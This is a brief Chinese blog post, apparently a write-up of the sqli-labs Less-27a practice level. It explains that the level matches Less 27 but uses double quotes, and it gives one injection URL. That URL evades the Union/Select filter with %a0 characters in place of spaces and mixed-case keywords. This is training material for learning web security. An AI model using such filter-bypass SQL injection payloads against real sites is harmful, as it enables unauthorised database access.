【sqli-labs】 less27a GET- Blind based -All you Union&Select Belong to us -Double Quotes(GET型基于盲注的去除了Union和Select的双引号注入)

和less 27一样，单引号换双引号

http://192.168.136.128/sqli-labs-master/Less-27a/?id=0"%a0uNion%a0sElect%a01,2,"3

 

posted @ 2018-01-28 18:29  omnis  阅读(169)  评论(0)  编辑  收藏  举报